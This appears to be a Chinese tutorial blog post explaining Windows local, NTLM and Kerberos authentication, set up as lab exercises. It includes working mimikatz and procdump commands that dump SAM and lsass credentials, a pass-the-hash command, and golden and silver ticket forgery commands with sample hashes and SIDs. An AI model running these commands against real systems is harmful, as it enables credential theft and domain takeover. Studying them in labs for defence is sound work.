windows认证机制

441 阅读2分钟

本文已参与「新人创作礼」活动.一起开启掘金创作之路。

windows认证机制

windows认证机制主要有三类:本地主机认证、网络主机认证、域内主机认证

0x01 Windows本地认证


简单来说,本地认证过程就是我们开机后,输入密码成功进入桌面的过程。

这个过程涉及到以下几个进程:

winlogon.exe: 负责加载用户身份安全组件,提供图形化登录界面,创建用户会话
lsass.exe: 本地安全认证子系统服务,负责用户本地认证验证或远程登录验证用户身份
%systemRoot%\system32\config\sam: 通过NTLM Hash算法,储存用户密码的文件

登录时的整体流程:

Windows本身是不会存储明文密码的,在SAM文件中所储存的是密码的hash值,在登陆对比的时候,也是先将用户的输入转换为hash值,才进行对比的。

目前在Windows中所使用的密码hash被称为NTLM hash,全称为:NT LAN Manager,它是一个由数字和字母组成的32位的值,是经过hex、Unicode、MD4三层加密后得到的。

LM Hash

全称是LAN Manager Hash, windows最早用的加密算法,由IBM设计。

LM Hash的计算:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  3. 再分7bit为一组,每组末尾加0,再组成一组
  4. 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
  5. 将加密后的两组拼接在一起,得到最终LM HASH值。

lm协议的脆弱之处在于

  1. des的key是固定的
  2. 可以根据hash判断密码长度是否大于7位,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee
  3. 密码不区分大小写并且长度最大为14位
  4. 7+7字符分开加密明显复杂度降低14个字符整体加密 957+ 957 <95 14

NTLM Hash

LM Hash 的脆弱性显而易见,所以微软于1993年在Windows NT 3.1中引入了NTLM协议。NTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成。

• Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。

• 当用户登录时,将用户输入的明文密码也加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较。NTLM Hash的前身是LMHash,目前基本淘汰,但是还是存在。

加密算法如下:

1. 先将用户密码转换为十六进制格式。
2. 将十六进制格式的密码进行Unicode编码。
3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

SAM文件

SAM 即“安全帐户管理器(Security Accounts Manager)”是 windows 操作系统管理用户帐户的安全所使用的一种机制。

安全帐户管理器对帐号的管理是通过安全标识进行的安全标识在帐号创建时就同时创建一旦帐号被删除安全标识也同时被删除。安全标识是唯一的即使是相同的用户名在每次创建时获得的安全标识都时完全不同的。因此一旦某个帐号被删除它的安全标识就不再存在了即使用相同的用户名重建帐号也会被赋予不同的安全标识不会保留原来的权限。

SAM 是用来存储 windows 操作系统密码的数据库文件为了避免明文密码泄漏SAM 文件中保存的是明文密码在经过一系列算法处理过的 Hash 值被保存的 Hash 分为 LM Hash 、 NTLM Hash 。当用户进行身份认证时会将输入的 Hash 值与 SAM 文件中保存的 Hash 值进行对比。在域控制器上 SAM 文件相当于活动目录数据库文件 ntds.dit

mimikatz读取sam文件

#提升权限
privilege::debug
#提升权限为system
token::elevate
#读取本地SAM文件,获得NTLM Hash
lsadump::sam

利用注册表导出sam文件

1、导出 SAM 和 System 文件:通过 reg 的注册表导出

reg save hklm\sam sam.hive
reg save hklm\system system.hive

2、使用mimikatz读取SAM和System文件

将导出的 system.hive 和 sam.hive 文件放到 mimikatz 文件夹下,然后运行mimikatz命令:

lsadump::sam /sam:sam.hive /system:system.hive

mimikatz在线读取sam文件

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

lsass.exe 进程

lsass.exe 是一个系统重要进程用于微软Windows系统的安全机制。它用于本地安全和登陆策略。而SAM的功能就固定于 lsass.exe 中但是 lsass.exe 不仅仅只进行本地身份认证所有正确通过本地、远程身份认证的用户信息都会保存在 lsass.exe 的内存中。

由于 WDigest 协议的存在在一些旧版本的 windows 操作系统中XP - win 8.0 和 server 2003 - server 2012 R1纯文本密码存储在 lsass.exe 进程中。

Mimikatz 离线读取 lsass.dmp 文件

1、导出lsass.dmp文件

通过 procdump.exe 文件导出lsass.dmp文件

procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

在命令行输入命令会生成一个 lsass.dmp 文件:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz导出lsass.dmp文件中的密码散列值

首先将导出的lsass.dmp文件放到mimikatz的目录下,然后输入命令:

sekurlsa::minidump lsass.dmp

如果有 Switch to MINIDUMP 说明加载成功

3、运行命令导出密码散列值:

sekurlsa::logonPasswords full

0x02 windows网络认证

Windows网络认证常用的有两种:Kerberos和NTLM

NTLM网络认证采用挑战/响应(Challenge/Response)的消息交换模式,流程如下:

1、客户端拿着用户名向服务器发起请求
2、服务器拿着用户名与自己的用户信息对比,确定是否为自己的合法用户
3、服务器立马生成一个16位随机字符(challenge)发给客户端,并且服务器查本地该用户的NTLM Hash,使用查到的NTLM Hash来加密Challenge,生成Net NTLM Hash
4、客户端也拿到了Challenge,用自己输入的密码生成NTLM Hash(注意这个和服务器那个逻辑上不是一个),然后加密Challenge,生成Response发送给服务器。
5、服务器拿到了Response,与服务器生成的Net NTLM Hash进行对比,相同则通过认证

哈希传递攻击

哈希传递攻击是一种技术,攻击者无需解密哈希即可获得纯文本密码。PTH攻击利用身份验证协议,因为密码哈希对于每个会话都保持静态,直到密码被转换为止。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

kerberos中AS-REQ阶段的Authenticator是由用户密码Hash加密的,如果得到了某台主机的Administrator用户的LM-Hash和NTLM-Hash ,并且该主机的445端口打开着。则可以利用哈希传递。

(注意:只能是administrator用户的LM-Hash和NTLM-hash。其他本地管理员都不行)

利用mimikatz进行哈希传递攻击

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
导出Administrator用户的NTML Hash

mimikatz# privilege::debug
mimikatz# sekurlsa::pth /user:administrator /domain:192.168.189.193 /ntlm:f1c65e065aae4e0b27424577c0cd192d

命令执行成功后会自动弹出一个system权限的shell

0x03 Kerberos协议

krbtgt

krbtgt是KDC的服务账户, 在每一个Realm中都存在一个 krbtgt账户。krbtgt账户用来创建TGT的加密密钥。在Kerberos的认证机制中, 使用 krbtgt生成的密钥来加密TGT。

Kerberos协议

Kerberos协议是一种基于第三方可信主机的网络认证协议,它允许两个实体之间在非安全网络环境下以—种安全的方式证明自己的身份。

在Kerberos协议中主要是有三个角色的存在:

1. 访问服务的Client(客户端)
2. 提供服务的Server(服务端)
3. KDC(Key Distribution Center)密钥分发中心

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

相关名词解释:

KDC (Key Distribution Center):密钥分发中心,默认安装在域控
AD (Account Database):活动目录,用于存储用户、用户组、域相关的信息,只有在白名单中的客户端才可以申请TGT
AS (Authetication Service) :为客户端生成TGT的服务,用于KDC对Client认证
TGT (Ticket-Granting Ticket):发放的票据,黄金票据,AS服务发放,存储在内存,默认有效期为10小时
TGS (Ticket Granting Service):票据授予服务,为客户端生成某个服务的ticket/用于KDC向Client和Server分发Session KeyST: ST服务票据,白银票据,由TGS服务发送

kerberos的基本认证过程:

1Client向KDC发起请求,请求凭据为Client hash加密的时间戳
2、KDC使用Client hash解密,如果结果正确就返回Krbtgt hash 加密的TGT票据,TGT里包含PAC,PAC包含Clinet的SID,Client所在的组
3Client凭借TGT票据向KDC发起针对特定服务的请求
4、KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
5Client拿着TGS票据去请求服务
6、服务使用自己的hash解密TGS票据,如果解密正确,就拿着PAC去KDC那边询问Client有没有访问权限,域控解密PAC,获取Client的SID以及所在的组,再根据该服务的ACL(访问控制),判断Client是否有访问服务器的权限

0x04黄金票据

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client返回一个Session Key和TGT票据,而Session Key并不会保存在KDC中,我们只要得到krbtgt的NTLM Hash,就可以去伪造TGT和Session Key,这样就可以骗过KDC从而完成与TGT的数据对比,也就成功伪造了黄金票据。( 如果我们有了krbtgt用户的hash就可以直接伪造TGT,其中的KDC需要的session key,是KDC解密TGT之后获取的,所以session key也是和TGT一起伪造的 )

伪造黄金票据所需的条件

1、域名称
2、域的SID值
3、域的KRBTGT账号的NTLM HASH
4、伪造任意用户名
(获取域的SID和Krbtgt账号的NTLM HASH的前提是需要已经拿到了域的权限)

实验:制作黄金票据

1、实验环境

Windows 2012(DC) 域控
Windows 7 域内的一台机器(普通用户权限)

域内的Windows 7 这台机器是连接不到域控的

2、基本信息获取

这里直接在域控制权上进行操作

 whoami /user  获取域的sid值(去掉最后的-500,500表示为administrator用户)
 net config workstation  查看所处域

3、使用mimikatz获取krbtgt用户hash

privilegeg::debug       #开启特权模式
lsadump::lsa /patch /user:krbtgt  #获取krbtgt用户hash,域的SID

4、使用mimikatz制作黄金票据

此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器(Windows 7),使用mimikatz制作黄金票据。

Kerberos::purge    #清除票据,以免后续对我们造成干扰
Kerberos::tgt  

5、制作票据

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
kerberos::golden /user:administrator /domain:hacker.lab /sid:S-1-5-21-3448222900-495573751-2847398868 /krbtgt:af9a75ddfa1ad39c43ee557a467a3ae1 /ticket:ticket.kirbi

6、票据传递

kerberos::ptt ticket.kirbi

7、票据传递成功后我们就可以利用windows 7这台机器去连接域控了

Tips:域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的,在使用mimikatz进行票据传递时会报以下错误

0x05 白银票据

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

Server接收到Client的请求之后,通过自己的Server NTLM 解密ST,从而获得Session-key tgs 。通过Session-key tgs解析那一部分内容,进而验证对方的身份。验证成功就让 Client 访问server上的指定服务了。

如果我们拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket(ST),直接去server端去验证。我们也就成功伪造了白银票据,但是伪造的票据只对部分服务起作用。

伪造白银票据所需条件

1、域名
2、域SID
3、目标服务器名
4、可利用的服务
5、服务账号的NTML HASH 
6、需要伪造的用户名

实验:制作白银票据

1、实验环境

Windows 2012(DC) 域控
Windows 7 域内的一台机器(普通用户权限)

windows 7是不能连接到域控的

2、基本信息获取(SID,所处域,服务器名,NTLM HASH)

whoami /all   #获取SID
net config workstation      #获取所处的域

3、获取服务账户Hash

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"> result.txt

4、使用mimikatz制作白银票据

Kerberos::purge    #清除票据,以免后续对我们造成干扰
Kerberos::tgt  

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
kerberos::golden /domain:hacker.lab /sid:S-1-5-21-3448222900-495573751-2847398868 /target:dc.hacker.lab /service:cifs /rc4:223d814caae2e165d186f2f9134d8bcb /user:win7 /ptt

5、攻击成功之后我们就可以利用windows 7 这台机器去连接域控

dir \dc.hacker.lab\c$